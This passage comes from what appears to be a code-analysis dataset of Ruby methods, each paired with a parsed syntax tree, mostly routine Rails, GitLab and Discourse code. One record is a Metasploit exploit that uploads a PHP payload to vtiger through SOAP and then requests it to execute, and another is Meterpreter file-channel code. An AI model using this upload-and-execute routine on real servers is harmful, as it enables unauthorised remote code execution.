selected=\\\"selected\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\" &mdash; \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_hour\\\" name=\\\"date[first][hour]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\" selected=\\\"selected\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\" : \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_minute\\\" name=\\\"date[first][minute]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\" selected=\\\"selected\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n<option value=\\\"32\\\">32</option>\\n<option value=\\\"33\\\">33</option>\\n<option value=\\\"34\\\">34</option>\\n<option value=\\\"35\\\">35</option>\\n<option value=\\\"36\\\">36</option>\\n<option value=\\\"37\\\">37</option>\\n<option value=\\\"38\\\">38</option>\\n<option value=\\\"39\\\">39</option>\\n<option value=\\\"40\\\">40</option>\\n<option value=\\\"41\\\">41</option>\\n<option value=\\\"42\\\">42</option>\\n<option value=\\\"43\\\">43</option>\\n<option value=\\\"44\\\">44</option>\\n<option value=\\\"45\\\">45</option>\\n<option value=\\\"46\\\">46</option>\\n<option value=\\\"47\\\">47</option>\\n<option value=\\\"48\\\">48</option>\\n<option value=\\\"49\\\">49</option>\\n<option value=\\\"50\\\">50</option>\\n<option value=\\\"51\\\">51</option>\\n<option value=\\\"52\\\">52</option>\\n<option value=\\\"53\\\">53</option>\\n<option value=\\\"54\\\">54</option>\\n<option value=\\\"55\\\">55</option>\\n<option value=\\\"56\\\">56</option>\\n<option value=\\\"57\\\">57</option>\\n<option value=\\\"58\\\">58</option>\\n<option value=\\\"59\\\">59</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2003]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_year\"]},{\"type\":\"int\",\"children\":[2003]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_year\"]},{\"type\":\"int\",\"children\":[2005]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"date[first]\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"selector\"]}]}]}]}]}]}]}","id":"3ee333aa-7a3b-4444-90cb-0e2ec2fea6b1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":77,"raw_source":"def test_max_connections_zero_means_zero\n        config = HashConfig.new(\"default_env\", \"primary\", max_connections: \"0\", adapter: \"abstract\")\n        assert_equal 0, config.max_connections\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_max_connections_zero_means_zero\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_connections\"]},{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"max_connections\"]}]}]}]}","id":"3f3d198b-015a-4fa9-a3dd-47d477821183"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/reminders/set_attributes_service.rb","start_line":91,"raw_source":"def today_in_user_time_zone\n      @today_in_user_time_zone ||= now_in_user_time_zone.to_date\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"today_in_user_time_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@today_in_user_time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"now_in_user_time_zone\"]},\"to_date\"]}]}]}","id":"f0a9f21b-4423-453d-8dff-3acc2dd91ac3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/log_management.rb","start_line":43,"raw_source":"def include_automate_models_and_dialogs?(value)\n    return value unless value.nil?\n\n    Settings.log.collection.include_automate_models_and_dialogs\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_automate_models_and_dialogs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"log\"]},\"collection\"]},\"include_automate_models_and_dialogs\"]}]}]}","id":"d5a2d2ee-0a18-45c3-9787-867e3654182f"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1438,"raw_source":"def record_field_test_event\n    return unless published?\n    return if FieldTest.config[\"experiments\"].nil?\n\n    Users::RecordFieldTestEventWorker\n      .perform_async(user_id, AbExperiment::GoalConversionHandler::USER_PUBLISHES_POST_GOAL)\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"record_field_test_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FieldTest\"]},\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"experiments\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"RecordFieldTestEventWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"user_id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbExperiment\"]},\"GoalConversionHandler\"]},\"USER_PUBLISHES_POST_GOAL\"]}]}]}]}","id":"3bffcfaa-6fd8-4136-8eb0-def04caca7a6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/statuses/form.rb","start_line":117,"raw_source":"def percent_complete_field_caption\n      I18n.t(\"statuses.edit.status_percent_complete_text\",\n             href: url_helpers.admin_settings_progress_tracking_path).html_safe\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"percent_complete_field_caption\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"statuses.edit.status_percent_complete_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"admin_settings_progress_tracking_path\"]}]}]}]},\"html_safe\"]}]}","id":"44e8a83c-ac7c-43ba-8388-d0d1f0653264"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/server.rb","start_line":206,"raw_source":"def send_e404(cli, request)\n    resp = Response::E404.new\n\n    resp['Content-Type'] = 'text/html'\n\n    resp.body =\n      \"<html><head>\" +\n      \"<title>404 Not Found</title>\" +\n      \"</head><body>\" +\n      \"<h1>Not found</h1>\" +\n      \"The requested URL #{ERB::Util.html_escape(request.resource)} was not found on this server.<p><hr>\" +\n      \"</body></html>\"\n\n    # Send the response to the client like what\n    cli.send_response(resp)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_e404\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Response\"]},\"E404\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<html><head>\"]},\"+\",{\"type\":\"str\",\"children\":[\"<title>404 Not Found</title>\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</head><body>\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"<h1>Not found</h1>\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The requested URL \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"resource\"]}]}]},{\"type\":\"str\",\"children\":[\" was not found on this server.<p><hr>\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"</body></html>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"bce4d1dd-7a09-4d85-8534-4df0be656998"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/converter.rb","start_line":216,"raw_source":"def handle_section_end(scanner, section, section_timestamp)\n          unless @state.section_open?(section)\n            @state.offset += scanner.matched_size\n            return\n          end\n\n          # We flush the content to make the end\n          # of section to be a new line\n          flush_current_line(false)\n\n          @state.close_section(section, section_timestamp)\n\n          # we need to consume match before handling\n          # as we want the section close marker\n          # not to be refreshed on incremental update\n          @state.offset += scanner.matched_size\n\n          # this flushes an empty line with `section_duration`\n          flush_current_line(false)\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_section_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scanner\"]},{\"type\":\"arg\",\"children\":[\"section\"]},{\"type\":\"arg\",\"children\":[\"section_timestamp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"section_open?\",{\"type\":\"lvar\",\"children\":[\"section\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"matched_size\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"flush_current_line\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"close_section\",{\"type\":\"lvar\",\"children\":[\"section\"]},{\"type\":\"lvar\",\"children\":[\"section_timestamp\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"matched_size\"]}]},{\"type\":\"send\",\"children\":[null,\"flush_current_line\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"5a2b5ba8-7040-4ecc-beb0-466618bdc10a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/vendor/slack/mixins/gitlab_app.rb","start_line":54,"raw_source":"def comment_on_issue(project, channel:, id:, comment:)\n            command = \"/staging-gitlab #{project.path_with_namespace} issue comment #{id}\"\n            send_message_to_channel([command, comment], channel: channel)\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_on_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwarg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/staging-gitlab \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"path_with_namespace\"]}]},{\"type\":\"str\",\"children\":[\" issue comment \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_message_to_channel\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}]}]}","id":"d3bde016-385b-4012-a510-308351c6475e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vtiger_soap_upload.rb","start_line":90,"raw_source":"def exploit\n    file_name = rand_text_alpha(rand(10) + 6) + '.php'\n    php = %Q|<?php #{payload.encoded} ?>|\n\n    soap = add_attachment_soap(file_name, php)\n    res = send_soap_request(soap)\n\n    print_status(\"Uploading payload...\")\n    if res and res.code == 200 and res.body.to_s =~ /<return xsi:type=\"xsd:string\">.*<\\/return>/\n      print_good(\"Upload successfully uploaded\")\n      register_files_for_cleanup(file_name)\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Upload failed\")\n    end\n\n    print_status(\"Executing payload...\")\n    send_request_cgi({ 'uri' => normalize_uri(target_uri.path, file_name) }, 0)\n  end","complexity_score":34.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[6]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" ?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"soap\",{\"type\":\"send\",\"children\":[null,\"add_attachment_soap\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<return xsi:type=\\\"xsd:string\\\">.*</return>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Upload successfully uploaded\"]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Upload failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"54c1cb56-e782-48e4-ada5-6adfe3e9557d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb","start_line":577,"raw_source":"def _open(name, mode = 'r', perms = 0)\n                return Rex::Post::Meterpreter::Channels::Pools::File.open(\n                  client, name, mode, perms\n                )\n              end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"mode\",{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"optarg\",\"children\":[\"perms\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Channels\"]},\"Pools\"]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"lvar\",\"children\":[\"perms\"]}]}]}]}","id":"4b5ce017-96f3-443b-b746-52e351b51f05"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/request.rb","start_line":415,"raw_source":"def ssl?\n        scheme == 'https' || scheme == 'wss'\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ssl?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"wss\"]}]}]}]}","id":"1a13c037-cc08-46b4-b792-06d5c81343f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":710,"raw_source":"def form_fields\n        fields.reject { _1[:api_only] == true || (_1.key?(:if) && _1[:if] != true) } # rubocop:disable Style/NumberedParameters -- existing code moved as is\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"form_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"reject\"]},1,{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_only\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"if\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"if\"]}]},\"!=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"51359132-fc9c-48c0-9b46-7bf0a893ed50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/praefect_info_service.rb","start_line":16,"raw_source":"def replicas\n        request = Gitaly::RepositoryReplicasRequest.new(repository: @gitaly_repo)\n\n        gitaly_client_call(@storage, :praefect_info_service, :repository_replicas, request, timeout: GitalyClient.fast_timeout)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"replicas\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"RepositoryReplicasRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"ivar\",\"children\":[\"@storage\"]},{\"type\":\"sym\",\"children\":[\"praefect_info_service\"]},{\"type\":\"sym\",\"children\":[\"repository_replicas\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"fast_timeout\"]}]}]}]}]}]}","id":"a2bb53b7-3a6a-4d2c-97f6-2c67ad9e9567"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/blobs/blame_spec.rb","start_line":12,"raw_source":"def visit_blob_blame(path)\n    visit project_blame_path(project, tree_join('master', path))\n    wait_for_all_requests\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_blob_blame\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_blame_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"tree_join\",{\"type\":\"str\",\"children\":[\"master\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_all_requests\"]}]}]}","id":"77951764-2c59-4319-a1a2-18191a9808fd"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vanilla.rb","start_line":161,"raw_source":"def import_category(category)\n    c = {\n      id: category[:category_id],\n      name: category[:name],\n      user_id:\n        user_id_from_imported_user_id(category[:insert_user_id]) || Discourse::SYSTEM_USER_ID,\n      position: category[:sort].to_i,\n      created_at: parse_category_date(category[:date_inserted]),\n      description: clean_up(category[:description]),\n    }\n    if category[:parent_category_id] != \"-1\"\n      c[:parent_category_id] = category_id_from_imported_category_id(category[:parent_category_id])\n    end\n    c\n  